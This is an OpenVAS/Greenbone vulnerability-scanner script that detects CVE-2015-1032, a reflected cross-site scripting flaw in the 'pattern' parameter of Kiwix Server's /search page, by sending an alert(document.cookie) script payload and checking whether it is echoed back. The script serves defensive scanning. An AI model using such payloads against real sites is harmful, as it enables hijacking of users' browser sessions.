Kiwix Server 'pattern' Parameter Cross-Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
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#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805131");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2015-1032");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2015-01-28 13:22:01 +0530 (Wed, 28 Jan 2015)");
  script_name("Kiwix Server 'pattern' Parameter Cross-Site Scripting Vulnerability");

  script_tag(name:"summary", value:"Kiwix is prone to an XSS vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Input passed via the 'pattern' parameter
  to '/search' is not properly sanitised before being returned to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to execute arbitrary HTML and script code in a users browser session
  in the context of an affected site.");

  script_tag(name:"affected", value:"Kiwix version 0.9 and prior.");

  script_tag(name:"solution", value:"Apply the patch manually from the referenced vendor link.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://sourceforge.net/p/kiwix/bugs/763");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/72279");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/130007");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/archive/1/534502/100/0/threaded");
  script_xref(name:"URL", value:"http://sourceforge.net/p/kiwix/kiwix/ci/d1af5f0375c6db24d4071acf4806735725fd206e");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 8000);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

http_port = http_get_port(default:8000);

rcvRes = http_get_cache(item:"/",  port:http_port);

if(">Welcome to Kiwix Server<" >< rcvRes)
{
  url = '/search?content=sadas&pattern=<script>' +
        'alert(document.cookie)</script>';

  if(http_vuln_check(port:http_port, url:url, check_header:TRUE,
     pattern:"<script>alert\(document.cookie\)</script>",
     extra_check:">Fulltext search unavailable<"))
  {
    report = http_report_vuln_url( port:http_port, url:url );
    security_message(port:http_port, data:report);
    exit(0);
  }
}

exit(99);